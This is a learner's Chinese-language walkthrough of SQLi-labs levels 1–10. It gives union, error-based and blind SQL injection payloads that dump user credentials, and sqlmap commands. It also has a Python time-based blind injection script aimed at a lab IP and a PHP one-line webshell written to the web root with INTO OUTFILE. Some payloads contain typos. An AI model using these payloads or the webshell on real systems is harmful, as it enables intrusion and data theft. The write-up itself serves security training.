SQL labs1-10

Less1:(基于错误的GET单引号字符型注入)

解题思路:

方法一,union 联合查询注入

1,首先判断是否存在注入 / ?id=1’ 回显错误,去掉 ‘ 发现回显正常,发现是单引号字符型注入

注意此时因为前面报错可以看到有limit 0,1我们可以知道此处如果需要输出我们union查询出的信息要将前面的位占了,即使前面的输出为不存在。可以看到我是将id的值写为负值,然后将输出的位置就让给了后面我们需要输出的信息,这个技巧在有输出限制的时候十分重要。

2,然后用 order by 判断有几列数据

1
/ ?id = 1' order by 3 %23  

回显正常,order by 4 的时候发现回显错误,说明有3 列

我们上面猜测出了字段数为3,但这里输出的只有2个,所以我们union查询要保证字段数一样,不足的补数字(只有mysql可以),或者null。然后第一个是没有输出的,所以我将需要输出的写在了后面两个。

3,将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。

发现页面先输出了2和3,说明页面有2个显示位

4,然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息

(1) 爆数据库名:

1
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata %23

上面的爆出全部的数据库名,\下面的爆当前的数据库名:****

1
?id=-1' union select 1,2,database() %23

(2) 爆表名:

1
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23

(3)爆字段:

1
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

(4)爆内容:

1
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+

0x3a 代表十六进制的 ‘ : ’

方法二:手动报错注入

通过报错回显查询信息

1,爆数据库名:

1
?id=1' and extractvalue(1,concat(0x7e,(database()))) --+

2,爆表:

1
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

3,4,直接将 extractvalue(1,concat(0x7e,(……) ) ) 内的内容修改即可。或者用 updatexml(1,concat(0x7e,(……),1)

Less 2:(GET型整型注入)

今天成功安装了hackbar的旧版本

链接地址为:https://github.com/HCTYMFF/hackbar2.1.3 (在火狐浏览器上使用)

先采用

?id=1 union select 1,2,3–+ 发现可行

与之前一样,又在1后加入了引号,出现语法报错

删掉分号,我们修改语句

1
?id=1 union select group(schema_name)from information_schema.schemata--+

查到关于数据库内部数据

接着修改

1
?id=1 union select group(schema_name)from information_schema.tables where table_schema='security'--+

这里建议将security修改为16进制,0x开头,英文单词用hackbar里的工具转换为16进制数

之后修改为username

得到username和password字名

然后同第一关一样,我们需要让它出现所有的数据

慢慢来

1
?id=1 union select 1,2,contact_ws(,~username,password)from securiy.uesers--+

同样这里的~使用十六进制,修改为0x7e

我们再加group_concat 函数得到

1
?id=-1221 union select 1,2,gruop_concat(concat_ws(0x7e,username,password)from security.users--+

tip:这边加负号是使得id=1失去作用。

最后回显数据,得到链接为:http://localhost/Less-2/?id=-1221 union select 1,2,group_concat(concat_ws(0x7e,username,password))from security.users–+

Less-3 (基于错误的get单引号变形字符注入)

输入 id=1 正常,输入id=1’ # 回显错误 ,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select … from … where id=(‘1’) …,在第一题中id=1‘的后面单引号加上),其它保持不变就行了

Less-4 (基于错误的get双引号字符型注入)

输入 id =1 回显正常 输入 id =1’ 回显正常 输入 id = 1” 回显错误 说明是 双引号闭合型

输入 id = 1” %23 回显错误 说明还有一个 单括号闭合

输入 id = 1”) …… 其他不变

Less-5(双注入get单引号字符型注入)

第五关与前四关不同,没有了明显的回显,经过资料查询为布尔盲注(bool)

与之前一样我们先利用基本语句,发现id=1’时报错,存在注入;

之后用order by语句查询到至多只有3行;

但是没有了明显的回显后,我们不能再使用union select 联合查询来寻找我们要的数据;

这个时候就使用新的语句 and left(( select database()),1) 进行试探,或是直接进入MySQL控制台使用语句进行查询更加直观

这是用sqlmap跑的数据图

最后的数据为‘security’

1
http://localhost/Less-5/?id=1%27%20and%20left%20((select%20database()),8)=%27security%27--+

这里推荐函数链接::https://blog.csdn.net/qq_43573676/article/details/105774162

Less-6 (双注入get双引号字符型注入)

只用将less 5 中的单引号改为 双引号即可

Less-7 (导出文件get字符型注入)

1,补充:
@@basedir :mysql安装路径

@@datadir :数据库路径

load_file(file_name):读取文件并返回该文件的内容作为一个字符串

使用条件:必须有权限读取并且文件可读,必须指定文件完整的路径

2,由于我不是在本地搭载的环境,所以知道具体的数据存放路径,需要去获取绝对路径,

前面知道 本题是 单引号 加双括号 的闭合方式:

1
?id=-1')) union select 1,2,@@datadir --+

获取不了 路径

于是去前面的简单的题找个路径:

1
Less-7/?id=-1 union select 1,@@basedir,@@datadir --+

得到路经:img

进行文件导入:(这里要用 \ )

1
http://127.0.0.1/sql/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST[1]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sql\\Less-7\\test.php" --+

image-20220304104500197

需要注意的是:利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php

然后用菜刀进行连接

我自己在尝试第七关的时候,发生了很多次失败,导致sql靶场一度搁浅

现在想想错误应该是这几个:

1.没有//,因为遇到转义时需用//才能使得浏览器解析时为我们自己想要的。

2.格式没有完全对,之前借鉴的博客里可能有一些问题(无意冒犯一些大佬)。

3.对于什么是一句话木马没有一点了解,就连工具antsword也是装了很久才成功。

现在重新撸一下就ok了,记得一句话木马的时候引号会变成乱码,直接在post里写1就好

image-20220304212018636

Less-8 (布尔型单引号GET盲注)

1,补充:

(1)盲注分为两类:
    1.布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据 你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
    2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

(2)

–batch : 让sqlmap自动输入

–dbms mysql :指定数据库系统为mysql绕过sqlmap的自动检测

-v 显示 等级(0-6)

方法一 :用sqlmap 按部就班的 来,最后一步的payload 为:

1
sqlmap.py -u "http://43.247.91.228:84/Less-8/?id=2" --dbms mysql --batch -v 1 --dump -D security -T users -C "id,password,username"

方法二: 用脚本进行 盲注

具体操作 参考 https://blog.csdn.net/wy_97/article/details/78169623 的详细操作

image-20220304110331429

方法三: 完全可以按照之前方法慢慢来爆破

Less-9 (基于时间的GET单引号盲注)

脚本gogogo

1,补充:时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

2,手工注入实在是太麻烦,将手工注入整理一下写出一个脚本 让机器去注入

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests

value ="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@_.-"


data=""

url = "http://43.247.91.228:84/Less-9/?id=1' and if((ascii(substr(({0} limit 3,1),{1},1)) = '{2}'),sleep(3),NULL); %23"


url_length="http://43.247.91.228:84/Less-9/?id=1' and if((length(({0} limit 3,1))={1} ),sleep(3),NULL); %23"


def get_length(payload):
for n in range(1,100):

url= url_length.format(payload,n)
print(url)
if(get_respone(url)):
print("[+] length is {0}".format(n))
return n


def get_data(payload,value,length):
for n in range(1,length):
for v in value :
url_data = url.format(payload,n,ord(v))
print(url_data)
if(get_respone(url_data)):
global data
data=data+v
print("[+] data is {0}".format(data))
break


def get_respone(url):
try:
html = requests.get(url,timeout=2)
return False
except Exception as e:
print("......")
return True

databse_payload ="select table_name from information_schema.tables where table_schema = database()"


get_data(databse_payload,value,get_length(databse_payload)+1)

这个脚本你每次只能查询 一个内容,

需要不断改变 4,5,行中 limit x,1 的 x 的数字去查询,

也需要改变 database_payload 去查询不同的信息

Less-10 (基于时间的双引号盲注)

1,只用将第9题中的单引号改为双引号,其他用脚本注入就好

注意,在脚本的第 4,5中的所有的单引号都改为双引号

sqlmap post类型注入方法:

\方法一:(“-r txt ”方式注入)**

1,先用burp suite 抓包,保存为1.txt文件放在桌面上

img

2,打开sqlmap

查询数据库名:

1
python sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --dbs

注:-r表示加载一个文件,-p指定参数

之后对应选择输入 : Y N Y

得到:img

之后查表:

1
python2 sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --D skctf_flag --tables

查字段:

1
python2 sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --D database_name -T table_name --columns

查内容:

1
python2 sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --D database_name -T table_name -C column_name --dump
此文大部分方法和内容转载于

https://blog.csdn.net/vhkjhwbs/article/details/89740401